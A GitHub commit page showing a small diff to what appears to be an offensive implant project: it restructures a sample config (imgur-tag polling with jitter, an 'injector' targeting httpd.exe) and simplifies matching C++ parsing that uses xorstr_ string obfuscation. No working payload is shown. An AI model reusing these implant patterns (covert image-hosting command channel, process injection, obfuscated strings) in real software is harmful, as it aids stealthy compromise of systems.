Skip to content

Commit

Permalink
Remove "payloads" array from injector. It was pointless.
Browse files Browse the repository at this point in the history
  • Loading branch information
rokups committed Nov 7, 2019
1 parent 9fabf93 commit 1fae2c6
Show file tree
Hide file tree
Showing 2 changed files with 9 additions and 13 deletions.
18 changes: 8 additions & 10 deletions sample-config.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,12 @@
"imgur_tag": "png",
"imgur_tag_query_mins": 15,
"imgur_tag_query_mins_jitter": 1,
"injector": {
"payloads": [
{
"type": "gts",
"targets": [
"httpd.exe"
]
}
]
}
"injector": [
{
"type": "gts",
"targets": [
"httpd.exe"
]
}
]
}
4 changes: 1 addition & 3 deletions src/vr/injector.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -37,9 +37,7 @@ void injector_thread(context& ctx)
{
int scan_time = 1;
int scan_time_jitter = 1;
const json_t* payloads = nullptr;
if (const json_t* injector = json_getProperty(ctx.root, xorstr_("injector")))
payloads = json_getProperty(injector, xorstr_("payloads"));
const json_t* payloads = json_getProperty(ctx.root, xorstr_("injector"));

if (payloads == nullptr || json_getType(payloads) != JSON_ARRAY)
{
Expand Down

0 comments on commit 1fae2c6

Please sign in to comment.